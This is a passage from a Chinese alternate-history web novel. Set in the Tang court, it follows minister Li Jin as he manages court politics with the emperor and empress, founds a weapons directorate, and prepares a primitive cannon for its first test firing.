贞观二十六年的夏秋之交,仿佛被一道无形的界限截然分开。界限之前,是朝堂上因《平边策》而起的激烈争论、权力博弈与最终尘埃落定的喧嚣;界限之后,则是帝国中枢在明确了未来数年甚至更长时间的核心国策后,转入的一种高速、精密却又暗藏玄机的运行新常态。皇帝那道赋予李瑾“检校兵部尚书”、“总督平边诸事”、“参赞军务”的重权诏书,如同一把钥匙,打开了一扇名为“平边大业”的沉重闸门,同时也将李瑾、李治、武媚娘这三位帝国最高权力者,推向了一个前所未有的、充满张力与默契的微妙平衡点。
诏书颁下后的最初几日,朝野的目光几乎全部聚焦于新晋“总督平边诸事”的李瑾身上。这位以“实学”、“新政”晋身的年轻宰相,如今肩上扛起了帝国未来武功的最大期望与最重担子。他谢绝了一切不必要的宴饮往来,全身心投入了庞大工程的启动之中。他的日程精确到刻,不是在政事堂与宰辅们协调总体方略、审定各部细则,便是在兵部衙门与将领、主事推演水师建设、登陆预案;不是在将作监与工匠大师们研讨军械改良图纸,便是在户部与度支郎官们锱铢必较地核算每一笔预算。他展现出惊人的精力与统筹能力,事无巨细,皆要过问,却又懂得抓大放小,敢于放权给专业之人。其务实、高效、且明显带着“格物”烙印的作风,很快渗透到相关衙署的每一个角落。许多人开始私下称他为“ 李 总 督”, 这 既 是 对 其 新 职 权 的 简 称, 也 隐 含 着 对 其 能 力 与 权 柄 的 一 种 默 认 与 敬 畏。
然而,在这表面热火朝天的筹备之下,一种更为精微、也更为关键的权力互动,正在紫宸殿、立政殿与李瑾的“总督”行辕(多设于将作监或兵部)之间悄然进行,构成了帝国最高决策层新的三角稳态。
皇帝李治,是这三角中最核心,却也因身体原因最需“借力”的一角。他赋予了李瑾重权,是真心期望其能替自己实现父皇未竟的伟业,也为“二圣临朝”增添最耀眼的武功光环。他每隔三五日,便会召李瑾单独入紫宸殿暖阁奏对,详细垂询各项进展。他对技术细节往往兴趣浓厚,尤其对“新式海船”、“改良抛石机”乃至那神秘的“火攻器具”构想追问不休,眼中时常闪烁着与年龄、身份不符的、近乎孩童般的好奇与兴奋。李瑾总能以深入浅出的方式,结合模型、图纸,让他听得明白,看得真切。这种奏对,渐渐超越了单纯的君臣问政,带上了些许“学术探讨”的色彩,皇帝从中获得了极大的智力满足感与参与感,仿佛自己也亲自参与到了这伟大的创造过程中。他对李瑾的信任与依赖,在这种频繁、深入且“安全”(不直接涉及最敏感的人事与最终开战决策)的交流中,与日俱增。
然而,帝王心术本能仍在。他虽放权,却并非撒手。所有重大预算的最终审批、关键匠师与将领的任命、以及任何可能超出原定“筹备”范围(如是否提前进行小规模侦察或袭扰)的行动,李瑾都必须事无巨细地写成条陈,奏报御前,由皇帝朱笔批准。皇帝有时会故意在某些不那么紧要的环节上稍作拖延或提出疑问,既是为了显示自己的最终掌控,也是一种无言的提醒。他也会通过内侍省、甚至偶尔通过皇后,了解李瑾在外行事是否合规、用人是否得当、有无结党或专权苗头。这种“信任”与“制衡”的交织,被皇帝把握得炉火纯青。他知道,李瑾是他实现抱负最锋利的剑,但这把剑的剑柄,必须牢牢握在自己手中。
皇后武媚娘,则是这三角中最具政治智慧与长远布局的一角。垂帘听政已成常态,她对日常政务的处置越发游刃有余,这使她能将更多精力投注于“平边”这项核心国策,尤其是其政治层面的运作。她不再需要像最初支持《平边策》时那样高调发声,而是将支持转化为更具体、更制度化的保障。她通过“北门学士”及与李瑾的隐秘渠道,持续关注进展,并在皇帝偶尔因身体不适或情绪波动而对某些环节产生疑虑时,以“陛下,李相此法虽看似靡费,然细观其预算明细与长远之效,实为必要”、“此匠人乃将作监多年栋梁,李相用之,正是人尽其才”等看似随意却切中要害的言语,巧妙打消皇帝的顾虑,为李瑾扫清障碍。
更重要的是,她开始有意识地利用“平边”大业带来的资源与人事调动机会,巩固和扩展自己的政治基础。在审议相关官员考绩与任命时,她会对那些在“劝农桑”、“广言路”等新政中表现突出,且对“实学”态度积极的官员,给予更多关注,并适时建议将其调任或晋升至“平边”相关的关键岗位(如转运、工曹等),既示恩惠,也安插人手。对于户部筹款的压力,她也会指示“北门学士”草拟文章,从“开海贸之利以补国用”、“整顿皇室宗亲及勋贵田产以增收入”等角度,提出一些敏感却可能有效的建议,为李瑾后续可能提出的更大财政需求铺垫舆论。她犹如一位高明的棋手,在支持李瑾推进具体事务的同时,不断借势布局,将“平边”带来的政治资源,转化为巩固自身及皇帝权威的棋子。
与此同时,她对李瑾本人也保持着一种既亲密又谨慎的距离。公开场合,她谨守皇后本分,对李瑾多以“李相”称之,议政时语气公允。私下里(通过可靠渠道),她则会传递一些朝中针对李瑾的流言动向、或对某些具体事务的更深层考量,提醒他注意。她支持李瑾掌权,但绝不允许这权力失控,或威胁到帝后(尤其是她本人)的终极权威。她对李瑾的信任,建立在李瑾始终清晰地将最终成就归于皇帝(以及她)的前提下。她需要李瑾这把剑建功立业,但同样要确保剑柄的方向。
李瑾,身处这三角中最具体、也最受力的一角。他深知自己权力的来源与边界。皇帝的信任与皇后的支持,是他推行“平边”大业不可或缺的双翼,但这对“翅膀”本身也存在着微妙的制衡关系。他的策略是: 对 皇 帝, 极 尽 忠 诚 与 透 明; 对 皇 后, 保 持 尊 重 与 沟 通; 对 自 己 的 职 权, 则 在 划 定 的 范 围 内 锐 意 进 取, 绝 不 逾 矩。 每一次面圣,他都准备充分,汇报翔实,将成绩归于皇帝圣明决策与将士用命,将困难与需求坦诚提出,绝不隐瞒或夸大。对于皇后的支持与提醒,他心领神会,在处理相关人事、财政问题时,会充分考虑其政治意图,并在不违背原则的前提下予以配合,同时通过特定渠道表达谢意与尊重。
他将绝大部分精力投入具体事务。水师方面,他力主在登州、莱州设立专门造船基地,汇集南方船匠与北方木材,尝试建造更大、更稳、更能载重运兵的海船;军械方面,他集中“格物所”与将作监顶尖匠师,成立“军器研造院”,专攻配重抛石机(他称之为“回回炮”的简化构想)与新型火药应用(此时火药方术已有,但多用于庆典,李瑾尝试将其武器化);后勤方面,他借鉴后世“模块化”、“标准化”理念,试图简化粮秣军械包装运输流程。他行事雷厉风行,但注重数据与实效,每一项重大支出、每一次人员调配,都有详细记录与论证,经得起核查。这让许多想找他麻烦的人无处下口。
朝堂之上,长孙无忌等人并未放弃。他们无法直接反对皇帝钦定、皇后力挺的国策,便将攻击点转向具体执行的“弊端”。他们指使御史弹劾李瑾“用人唯亲”(指其重用“格物所”出身的工匠和官员)、“苛待匠户”(因工期紧、要求高)、“账目不清”(大型工程初期难免混乱)。每当此类弹章出现,李瑾从不急于自辩,而是将相关人事档案、匠户待遇记录、工程账册整理得清清楚楚,直接呈送御前,并附上详细说明,请皇帝圣裁。皇帝看过之后,往往觉得无懈可击,甚至对李瑾的严谨愈发满意,对弹劾者心生不悦。而皇后则会在适当时机,轻描淡写地评论一句“木秀于林,风必摧之。李相为国操劳,反受些无谓攻讦,也是常事。” 既安抚了李瑾,也暗指了攻击者的动机不纯。
李 勣 等 军 方 实 力 派 的 态 度, 则 成 了 这 个 三 角 关 系 稳 定 的 重 要 外 部 支 柱。 李勣在关键朝议上的表态,稳住了军方的基本盘。李瑾深知其重要性,对军方提出的合理需求(如边军常规换防、旧械维护)尽量满足,对将领的咨询也给予足够尊重,并时常邀请一些中级将校参观“军器研造院”,展示新器械的威力,激发他们的兴趣与支持。这使他赢得了不少务实派将领的好感,无形中削弱了长孙无忌等人可能从军方发难的基础。
数月下来,一种奇特的“君臣相得宜”的局面逐渐形成。皇帝李治在紫宸殿运筹帷幄,通过李瑾延伸自己的意志,享受开创伟业的满足感,身体和精力得以保全。皇后武媚娘在立政殿统揽全局,借“平边”巩固权威,布局未来,其政治声望随着筹备工作的稳步推进而持续上升。李瑾则在前线冲锋陷阵,将帝后的期望转化为具体成果,其个人能力、权势与声望也随之水涨船高,但始终被谨慎地约束在“执行者”与“技术官僚”的框架内,未曾对帝后的核心权威构成任何实质威胁。
三人之间,形成了一种动态的、脆弱的,却又因共同目标(平边建功)和相互需要而异常牢固的平衡。皇帝需要李瑾的才能和皇后的辅佐来实现抱负;皇后需要皇帝的信任和李瑾的功绩来巩固地位;李瑾需要帝后的支持来实现理想与保全自身。他们彼此依赖,又彼此制衡;彼此信任,又彼此警惕。这种平衡并非静态的均势,而是一种在持续的政治互动与事务推进中不断微调、动态维持的精致状态。
九月中的一次紫宸殿小范围奏对,恰是这种微妙平衡的生动体现。李瑾汇报“军器研造院”在“火攻器具”上取得关键突破,制成了可抛射的、威力巨大的“火药包”(原始炸药包),但试验中发生意外,伤了三名匠师,烧毁半个工棚,所费不赀。
皇帝闻讯,先是兴奋,继而蹙眉:“威力果真如卿所言?然则……如此危险,伤亡损耗,是否值得?”
李瑾坦然承认危险与代价,但展示了试验数据(远距杀伤、震撼效果)和后续改进方案(加强密封、改进引信、规范操作),强调其未来在攻坚、破阵、震慑方面的巨大潜力。
皇帝沉吟不语,目光瞥向垂帘。
帘后,武媚娘的声音平静响起:“陛下, 创 新 之 事, 从 无 万 全。 太 宗 皇 帝 昔 年 改 良 弩 机, 亦 不 知 折 损 几 多。 既 有 此 效, 足 见 方 向 无 误。 当 务 之 急, 是 妥 善 抚 恤 伤 亡 匠 师, 严 格 操 作 规 程, 拨 付 必 要 资 财 以 完 善 之。 若 因 噎 废 食, 则 前 功 尽 弃。 李 相 既 有 改 进 之 法, 不 妨 让 其 一 试。**”
她既肯定了创新的价值与必要性,承认了风险,又提出了务实的解决方向(抚恤、规范、拨款),并将最终是否继续的皮球,轻轻踢回给皇帝,保持了其最终裁决者的姿态。
皇帝听罢,眉头舒展,对李瑾道:“皇后所言甚是。便依皇后所议,妥善处理伤亡,拨给用度,继续研制。然,务必谨慎,安全第一!”
“臣遵旨!谢陛下、皇后殿下信任!” 李瑾领命。一次可能因事故和靡费引发的危机,在帝、后、臣三方的默契互动下,化为了继续前进的动力。
走出紫宸殿,秋日的阳光带着暖意。李瑾知道,这份“君臣相得宜”的平衡异常珍贵,也异常脆弱。它建立在“平边”事业不断取得进展、且不触及根本权力红线的基础上。他必须更加小心,更加努力,既要推动技术突破,又要维系政治平衡。前路漫漫,而这精妙的三角之舞,或许将伴随他未来很长一段时光。
长安城的秋意渐浓,而“平边”大业的引擎,在这微妙的平衡中,正开足马力,轰然向前。
第96章 瑾掌军器监
贞观二十六年的深秋,长安城的色彩从金碧辉煌转向了沉郁庄重的赭黄与灰褐,如同帝国中枢的权力光谱,在“平边”大业这面棱镜的折射下,呈现出愈发复杂而集中的色调。李瑾以“检校兵部尚书”、“总督平边诸事”的身份总揽筹备,其权力触角已深入兵、工、户、将作等诸司,然而,随着“水师建设”、“军械改良”两大核心支柱进入实质推进阶段,一个愈发清晰的瓶颈与需求凸显出来—— 亟 需 一 个 能 够 统 一 标 准、 集 中 资 源、 高 效 运 转, 专 司 最 新 式、 最 重 要 军 械 研 发 与 制 造 的 专 门 机 构。 现有的将作监虽有军工职能,但事务庞杂,且受旧有官僚体系与工艺传承掣肘颇多,难以满足“平边”战略对军械“跨代”革新的迫切要求,更难以有效统合“格物所”带来的新思维、新技术。
这个念头,在李瑾心中酝酿已久,也与“北门学士”及部分务实派官员进行过探讨。然而,设立一个全新的、权力集中且直属“平边”体系的军械机构,势必触动现有利益格局,尤其是将作监、少府监乃至兵部库部司的职权,更会引发守旧势力对其“揽权过甚”的新一轮攻讦。他需要等待一个合适的契机,也需要获得帝后最明确、最坚定的支持。
契机,伴随着风险与机遇一同到来。十月初,在“军器研造院”一次针对“配重抛石机”(李瑾称之为“襄砲”)的关键投射试验中,尽管前期准备充分,但在连续高强度测试后,一台砲机的关键承重部件(铁制转轴)因金属疲劳与工艺瑕疵突然断裂,导致砲臂失控回摆,不仅砸毁了砲架,飞溅的碎片更造成现场三名负责记录的文吏重伤,其中一人伤重不治。事故虽未涉及核心匠师,但“出人命”的消息,仍然在朝野引起了不小的震动。
长孙无忌、褚遂良等人立刻抓住了这个把柄。褚遂良亲自上疏,痛陈“李瑾好大喜功,急于求成,苛待匠役,罔顾人命,致使国之巧匠、忠良文吏枉死!其所谓‘新式军械’,不过奇技淫巧,徒耗国帑,反生祸端!请陛下明察,严惩相关责任人,暂停此等危险无益之工,以儆效尤!” 疏中虽未直接要求罢免李瑾,但字字诛心,直指其“平边”筹备的核心——军械革新。
消息传来时,李瑾正在登州巡视新建的造船场。他闻讯,并未急于赶回长安自辩,而是命人将事故的详细勘查记录、部件残骸、工艺流程检查报告、以及伤亡人员的抚恤安置情况,以八百里加急直送紫宸殿。同时,他写了一份言辞恳切却冷静客观的请罪与陈情奏疏。在疏中,他首先承担了“督造不力、致有伤亡”的领导责任,请求处罚;然后详细分析了事故原因——核心在于当前 军 械 制 造 体 系 分 散、 标 准 不 一、 工 艺 监 管 不 严, 尤 其 是 对 关 键 金 属 部 件 的 冶 炼、 加 工、 检 验 缺 乏 统 一 且 严 格 的 制 度。 他并未将责任推给具体匠师,而是直指 制 度 性 缺 陷。
“此次事故,诚为惨痛教训。” 他在奏疏中写道,“然, 亦 是 一 面 明 镜, 照 出 我 朝 军 器 制 造 积 弊 之 深。 若 因 此 而 废 弃 新 器 研 制, 无 异 于 因 噎 废 食。 当 务 之 急, 非 停 工 问 罪, 而 是 痛 定 思 痛, 革 除 弊 政, 建 立 起 一 套 从 设 计、 用 料、 制 作 到 检 验 的 全 新、 严 密、 高 效 的 军 器 制 造 与 管 理 体 系! 唯 有 如 此, 方 能 杜 绝 类 似 惨 剧, 方 能 真 正 造 出 可 靠、 精 良、 足 以 克 敌 制 胜 的 国 之 利 器! 臣 冒 死 恳 请 陛 下, 成 立 专 司 —— 军 器 监, 总 揽 全 国 新 式、 重 要 军 械 的 研 制、 监 造、 检 验 与 配 发, 并 制 定 统 一 的 ‘ 军 器 法 式’( 标 准)。 此 事 关 乎 ‘ 平 边’ 大 业 成 败, 关 乎 国 家 安 危, 伏 乞 圣 裁!**”
他将一次事故危机,转化为推动 制 度 变 革 的 契 机, 并 明 确 提 出 了 成 立 “ 军 器 监” 的 具 体 主 张。 奏疏与事故报告同时送达紫宸殿。
紫宸殿暖阁内,皇帝李治仔细阅读了事故报告与李瑾的奏疏。报告中的技术分析详尽专业,抚恤方案周全,显示了李瑾并未逃避责任。而奏疏中关于“制度缺陷”的分析与成立“军器监”的建议,则深深触动了他。他想起之前李瑾汇报“火药包”试验事故时皇后的态度,也想起自己观摩“襄砲”试射时对其威力的震撼。他知道,要成就“平边”伟业,必须要有超越前代的利器,而利器的诞生,离不开可靠的制度保障。李瑾的提议,虽然看似又一次扩权,但切中要害,且是“痛定思痛”后的改进,理由充分。
他将奏疏递给帘后的皇后,叹道:“皇后你看,李瑾所言……是否在理?”
武媚娘早已通过自己的渠道了解了事故详情与李瑾的应对。她快速浏览了奏疏,心中已有计较。李瑾此举,可谓以退为进,化危为机,既展现了担当,又提出了具有长远眼光的制度改革方案,且将设立新机构的必要性牢牢绑定在“平边”大业与“杜绝事故”的迫切需求上,让人难以反驳。这正符合她期望的——李瑾在前方开拓,她与皇帝在后方支持并收获政治与制度成果。
“陛下,” 她放下奏疏,声音清晰而沉稳,“李相所言, 字 字 血 泪, 句 句 椎 心。 事 故 惨 痛, 教 训 深 刻。 然 其 能 不 诿 过 于 人, 反 躬 自 省, 直 指 制 度 根 本, 此 乃 真 正 的 负 责 与 担 当。 其 所 请 设 立 ‘ 军 器 监’, 统 一 标 准, 严 格 管 理, 确 为 杜 绝 后 患、 保 障 ‘ 平 边’ 利 器 精 良 的 治 本 之 策。 昔 年 秦 统 一 六 国, 便 有 统 一 度 量 衡、 车 同 轨、 书 同 文 之 举。 今 日 我 大 唐 欲 成 不 世 之 功, 在 军 器 制 造 上 实 行 标 准 化、 专 业 化 管 理, 正 是 顺 应 时 势 之 举。 只 是 … 此 事 牵 涉 甚 广, 尤 其 是 与 将 作、 少 府 等 监 职 权 有 所 重 叠, 需 妥 善 厘 清, 以 免 日 后 推 诿 掣 肘。”
她既明确支持了设立“军器监”的方向,又指出了可能存在的职权冲突问题,提醒皇帝需在制度设计上考虑周全,显示了她思虑的缜密。
皇帝点头:“皇后所言极是。此事,确需慎重。然李瑾之请,于国于军,实为大利。朕意……可准其所奏,设立军器监,但具体职权、隶属、与诸监关系,需详加议定。”
有了帝后的初步共识,接下来的朝议便有了基调。尽管褚遂良等人极力反对,称“祖宗成法不可轻变”、“李瑾借此事故扩张权柄,其心可诛”,但皇帝以“ 太 宗 皇 帝 在 日, 亦 常 更 新 制 度, 以 应 时 需。 今 为 平 边 大 业, 革 除 军 械 积 弊, 正 是 继 承 先 志”** 为由,力排众议。皇后则在帘后适时补充,强调“标准化”、“专业化”对保障质量、提高效率、节约长远成本的好处,并建议由政事堂牵头,会同兵部、工部、将作监、少府监及“格物所”,共同拟定“军器监”的详细组建方案与“军器法式”草案。
司 空 李 勣 再 次 发 挥 了 关 键 作 用。** 他在朝堂上直言:“为将者,谁不盼麾下将士手持利刃,身披坚甲,后有强弓硬弩、攻城重器为援?然现行军械,好坏不一,补给迟缓,常误战机。若真能有一专司,统造精良划一之器,按期按质交付各军,实乃全军之福,老臣第一个赞成!” 他的表态,代表了军方务实派对装备标准化、专业化的迫切需求,彻底堵住了反对者以“违背祖制”、“扰民”等为由的抨击。
十月底,经过数轮激烈而细致的朝议与幕后协商,皇帝正式下诏:
“ 朕 绍 承 丕 绪, 夙 夜 兢 兢, 思 弘 前 烈, 克 平 边 患。 然 工 欲 善 其 事, 必 先 利 其 器。 近 以 军 械 之 务, 攸 关 重 大, 而 旧 制 分 隶, 程 功 匪 易, 标 准 靡 一, 致 有 疏 失。 兹 为 一 新 庶 政, 专 其 责 成, 特 设 立 军 器 监。**”
诏书明确规定:
一、 军 器 监 为 独 立 官 署, 直 接 对 皇 帝 与 政 事 堂 负 责, 专 司 全 国 新 式、 重 要 军 械( 包 括 但 不 限 于 新 式 弓 弩、 甲 胄、 攻 城 器、 火 攻 具、 战 船 武 备 等) 的 研 制、 设 计、 标 准 制 定、 监 造、 检 验 及 重 点 配 发。** 原有将作监、少府监下属的军工作坊及匠户,择其精良者划归军器监统一管理,其余仍归原监,但所造常规军器需符合“军器法式”。
二、 以 检 校 兵 部 尚 书、 总 督 平 边 诸 事 李 瑾, 兼 领 军 器 监 监 正, 全 权 负 责 军 器 监 组 建 与 运 作。** 另设监副二人,由皇帝钦点精通实务的官员担任,辅助李瑾。
三、 即 刻 着 手 制 定《 大 唐 军 器 法 式》, 对 各 类 军 械 的 材 料、 规 格、 工 艺、 检 验 标 准 进 行 统 一 规 定, 作 为 军 器 制 造 与 验 收 的 根 本 依 据**。
四、 授 权 军 器 监 在 全 国 范 围 内 征 召、 考 核 优 秀 匠 师, 并 给 予 相 应 的 官 身、 俸 禄 与 奖 励, 以 激 励 创 新。 同 时, 在 长 安、 洛 阳、 晋 阳 等 地 择 址 建 立 新 的 军 器 制 造 基 地**。
诏书一下,举世瞩目。李瑾正式 执 掌 军 器 监, 成 为 大 唐 帝 国 军 事 工 业 体 系 的 最 高 负 责 人。 其职权范围,从战略谋划、工程建设,进一步深入到最核心的武器装备研发与生产领域,真正触及了帝国武力的根基。
接旨次日,李瑾便走马上任。他没有选择在皇城内的华丽衙署,而是将“军器监”的临时办公地点,直接设在了原“军器研造院”所在的、位于长安城西郊的庞大院落群。这里远离繁华,便于保密与试验,也象征着与旧有官僚体系的某种切割。
上任第一把火,他便以“襄砲”事故为鉴,亲自牵头,汇聚“格物所”骨干、将作监大匠、以及从兵部、工部抽调的精通律令与实务的官员,开始昼夜不停地编纂《大唐军器法式》。他引入“标准化”、“模块化”、“质量控制”、“安全生产”等超越时代的概念,要求对每一种军械,从铁料含碳量、木材种类龄期,到每一个部件的尺寸公差、热处理工艺、组装流程,乃至最后的水压(对容器)、拉力、投射·精度等检验标准,都必须有明确、可量化、可重复检验的规定。他特别强调了对金属材料(尤其是钢)的冶炼与加工标准,并开始着手在长安附近筹建一座采用新法(高炉、炒钢)的“ 官 营 精 钢 坊”, 以 从 源 头 保 障 关 键 材 料 质 量。 同时,颁布严格的《匠作安全条例》,强制要求佩戴防护、规范操作、定期检查设备。
第二把火,是整合资源与人才。他雷厉风行,顶着将作监等衙门的巨大阻力与不满,以皇帝诏书为依据,将分散在各监的顶尖军工匠师及其核心团队,连同部分关键设备、图册,整体调入军器监。对于匠师,他给予远高于以往的俸禄与奖励,并承诺以其技术成果评定“匠师”等级,享有相应的社会地位甚至荫子权利。对于划归的工匠,则进行严格的技术考核与安全培训,合格者留用,待遇提升;不合格或怠惰者,退回原监或转做他役。一时间,西郊军器监驻地成了帝国能工巧匠心向往之的圣地,也成了旧有利益集团咬牙切齿的所在。
第三把火,是重启并加速关键项目。在严格的安全规范与新材料标准下,“襄砲”的改进型迅速定型量产,其射程、精度、可靠性远超旧式抛石机。对“火药”的应用研究也被置于最高优先级,成立了独立的“ 火 药 作 坊”, 在 严 格 隔 离 与 防 护 下, 进 行 配 方 优 化、 颗粒 化、 定 量 包 装 及 引 信 改 进 的 研 究, 目 标 是 制 成 可 靠 的 抛 射 炸 药 包( 被 命 名 为 “ 震 天 雷”) 和 其 他 爆 破 器 具。 同 时, 一 种 更 为 大 胆 的 构 想 — — 利 用 火 药 燃 气 推 动 弹 丸 的 管 状 火 器( 原 始 火 炮) 的 预 研, 也 在 绝 密 中 悄 然 启 动, 由 李 瑾 亲 自 掌 握 几 名 绝 对 可 靠 的 顶 尖 匠 师 进 行 探 索。 长安西郊,日夜传来沉闷的撞击声、呼啸的试射声,偶尔还有低沉如闷雷的爆炸声。皇城内的达官贵人们,在最初的惊疑不定后,渐渐习以为常,只是私下里议论着那位“李总督”又在折腾什么骇人的物事。
李瑾执掌军器监,如同给一台庞大的旧机器更换了核心引擎,注入了全新的动力与规范。阻力巨大,非议不绝,但成效也开始以肉眼可见的速度显现。标准化带来的质量提升与成本可控,专业化管理带来的效率提高,以及对匠师的激励所激发的创新活力,都让原本对“靡费”、“危险”心存疑虑的皇帝与部分务实派官员,逐渐看到了希望。而军器监的每一次技术突破与质量报告,都通过李瑾的奏报,化为紫宸殿御案上令人振奋的数据与图样,进一步巩固了帝后对其的信任与支持。
长孙无忌等人并未罢休,他们转而攻击军器监“靡费尤甚”、“苛待划转匠户引发怨言”、“所制器物华而不实”。然而,李瑾以详尽的账目、规范的匠户管理记录、以及一次次邀请军方将领、御史台官员现场观摩新式军械威力的“公开课”,将这些攻击一一化解。皇帝甚至在一次观摩了新式“襄砲”齐射与“震天雷”爆破演示后,兴奋地对左右道:“ 有 此 等 利 器, 何 愁 高 句 丽 不 下! 李 瑾, 真 乃 朕 之 干 城!**”
执 掌 军 器 监, 不 仅 是 职 权 的 扩 张, 更 是 李 瑾 将 其 “ 实 学” 理 念 与 超 前 的 工 业 化、 标 准 化 思 维, 深 度 注 入 帝 国 军 事 肌 体 的 开 端。 这 台 在 他 手 中 开 始 轰 鸣 的 新 引 擎, 正 在 悄 然 改 变 着 大 唐 军 队 的 面 貌, 也 为 即 将 到 来 的 风 云 际 会, 积 蓄 着 足 以 改 天 换 地 的 磅 礴 力 量。** 而李瑾本人,则站在这个新旧力量激烈碰撞、融合的核心,谨慎而坚定地,推动着历史的车轮,朝着一个未知而充满希望的方向,缓缓前行。
第97章 神机炮初成
贞观二十七年的初春,长安城还笼罩在去岁寒冬的余威与今岁料峭的寒意之中,然而,帝国最高权力中枢的注意力,却被一股从长安西郊
“军器监”试验场不断传来的、越来越密集、也越来越令人心悸的
“闷雷”声所牵引。这声音不同于以往试验
“襄砲”时的沉重撞击与呼啸,也不同于
“震天雷”爆破时的短促巨响,而是一种更加低沉、浑厚,带着某种金属震颤尾韵的轰鸣,每每响起,即便远在皇城,也能感到脚下大地微微的、令人不安的颤动。
朝野上下,无论是期盼者、好奇者,还是疑虑者、反对者,心中都清楚,那位执掌军器监、以
“奇技”革新军备的李瑾李总督,恐怕又在
“折腾”什么了不得的、甚至可能惊世骇俗的东西了。流言四起,有说是在冶炼
“天外玄铁”,有说是在铸造
“吞金兽”,更有离奇者,传言李瑾在
“沟通雷部”,炼制
“***”。唯有极少数核心参与者知道,那被李瑾命名为
“神机炮”的、足以改写未来战场规则的跨时代武器,正在经历最后、也是最为艰难的攻关与试验。
自李瑾执掌军器监,将
“火药应用”与
“管状火器”构想列为最高机密项目以来,已过去近半载。这半年,是
“军器研造院”(现已成为军器监下辖核心机构)最紧张、也最隐秘的半年。
李瑾亲自挑选了七名绝对可靠、技艺登峰造极且对
“新学”抱有狂热兴趣的大匠,在试验场深处划出了一片完全独立的、被高墙与岗哨严密隔绝的
“甲字禁区”。禁区内的生活物资由专人配送,匠师家眷被妥善安置并受到保护,所有人签署了最严苛的保密文书。
李瑾本人,则成了这里的常客,甚至常常数日不归,与匠师们同吃同住,探讨、争论、绘图、计算。
最初的构想,源于李瑾超越时代的见识,但落实到具体制造,却面临着这个时代材料、工艺、理论的极限。
核心难点有三:炮管。需要能承受火药剧烈爆燃产生的高温高压,且内壁光滑笔直,以赋予弹丸稳定初速与精度。
最初尝试用精铁卷制焊接,但屡屡在试射时炸裂。后改为以
“官营精钢坊”最新冶炼出的高碳钢,采用
“泥范铸造、反复锻打、内壁镗削”的复合工艺。仅
“镗削”内壁使其光滑如镜、口径一致这一项,就耗费了两位镗铣大师近两个月时间,发明了数种新的夹具与刀具。
火药。李瑾提供的
“硝、硫、炭”最佳比例只是基础。要推动沉重的弹丸,需要更高燃速、更大推力的颗粒化火药。
匠师们通过反复试验,掌握了水筛法制造颗粒火药的技巧,并确定了最适合
“神机炮”发射的颗粒大小与密度。同时,引信的可靠性也是难题,最终采用了浸渍了特定配比火药的麻线,外包防水油纸,基本保证了发火率。
弹丸与装填。早期使用不规则的石弹,射程与精度惨不忍睹。李瑾力主铸造球形铁弹,并要求严格控制重量与直径误差。
这又催生了标准模具与新的小型化铁水浇铸工艺。装填程序也极为关键,从清理炮膛、装入定量火药、捣实、放入弹丸、再以软木塞固定,每一步都有严格到刻板的操作流程,稍有差池便可能导致膛压不均甚至炸膛。
试验伴随着巨大的风险与高昂的代价。短短半年,有记录的炸膛事故就发生了九起,最严重的一次,一门重达八百斤的试制炮在第五次试射时突然从尾部炸裂,崩飞的碎片将三丈外的护盾击穿,两名负责记录的文吏当场身亡,一名靠近观察的匠师被震聋了耳朵。
整个
“甲字禁区”一度被悲观与恐惧笼罩。李瑾亲自为死者主持了隆重的葬礼,给予了其家属超规格的抚恤,并顶住压力,下令
“查明原因,改进工艺,继续试验”。他将炸膛的炮管残骸收集起来,与幸存匠师们日夜不休地分析裂痕,最终发现是炮尾一处锻打时留下的微小夹渣导致了应力集中。
他们改进了锻打后的探伤工序,并增加了炮管外部的加强箍。压力不仅来自技术,更来自朝堂。
长孙无忌等人虽难以探知
“甲字禁区”内的具体详情,但接连的事故与巨大耗费(精钢、火药、人工)却无法完全掩盖。
褚遂良再次上疏,以
“天现异响,地有微动,恐非吉兆”、
“李瑾于西郊秘制不详凶器,屡伤人命,耗费无算,有干天和”为由,请求皇帝下旨彻查并叫停。
奏疏中还隐隐暗示,此等
“妖器”恐非人臣所宜掌。这一次,未等皇帝表态,垂帘后的武媚娘先开了口。
她的声音透过纱帘,冷静而有力:“褚侍中所虑,无非是‘耗费’与‘不详’。本宫倒要请教,昔公输班制云梯,墨子制守城械,可是‘不详’?太宗皇帝改良强弩马铠,可是‘不详’?兵者,凶器,然用之以卫国靖边,便是‘大祥’!至于耗费,前方将士的性命,难道不比金铁更加珍贵?李相所为,正是要以金铁与巧思,换取将士更少的流血,换取我大唐更快的胜利!些许挫折,正是通向必胜之路上必不可少的代价。陛下与本宫,相信李相能克服万难,早日成功。”她以
“卫国祥器”、
“以金铁换人命”的高度,彻底驳斥了
“不详”之说,并将李瑾的试验提升到
“减少将士流血、加快胜利”的仁义层面,占据了绝对的道义制高点。皇帝深以为然,不仅驳回了褚遂良的奏请,还下旨褒奖
“甲字禁区”内
“勇于任事、不畏艰险”的匠师,并额外拨付了一笔
“特别研发经费”。有了帝后最坚定的支持,李瑾与匠师们终于突破了最后的技术瓶颈。
贞观二十七年三月十五,一个春寒料峭但天空澄澈的清晨。经过连续三日对三门最终定型炮管的严格检测(包括水压试验、探伤、尺寸复核),李瑾决定,进行
“神机炮”的首次全装药、实弹定型试射。与以往秘密试验不同,这次,他奏请皇帝,特邀了少数核心人员现场观摩。
得到旨意后,受邀者名单被严格限定:皇帝特派的首席内侍、皇后指派的秋月(代表皇后)、司空李勣、兵部尚书(实任)、新任工部尚书,以及三名在之前
“襄砲”和
“震天雷”演示中表现出浓厚兴趣与支持的务实派将领。长孙无忌、褚遂良等人不在其列。
试验场深处,一片特意清理出的空旷坡地。坡下三百步外,预先用泥土和木桩搭建了一排模拟城墙的标靶,厚达三尺,中间还嵌有包铁木门。
坡上,三门黝黑的
“神机炮”呈一字排开,安静地蹲伏在特制的、带有转向机构和俯仰卡榫的炮架上。
炮身长约六尺,口径约三寸,炮管厚重,泛着冷硬的金属光泽,数道加强箍如同巨蟒的环节,平添几分狰狞。
炮旁,摆放着整齐的铁弹、定量火药包、捣杆、软木塞等物。十余名经过最严格训练、神情肃穆到近乎僵硬的炮手,如同雕塑般立在炮位后。
李瑾一身利落的深青色劲装,外罩半旧皮甲,亲自站在中央那门炮旁。
他没有过多言语,只是向受邀的观摩者们微微颔首,便转向炮位,沉声下令:“检查炮位,清膛,装药!”他的声音不大,却带着一种不容置疑的力度。
炮手们如同精密的机器开始运转,动作规范、稳定,带着一种近乎仪式感的庄重。
清刷炮膛,倒入定量颗粒火药,用长杆捣实,放入重达八斤的浑圆铁弹,再塞入软木塞固定。
整个过程鸦雀无声,只有金属与木料的轻微摩擦声,以及远处寒风吹过枯草的簌簌声。
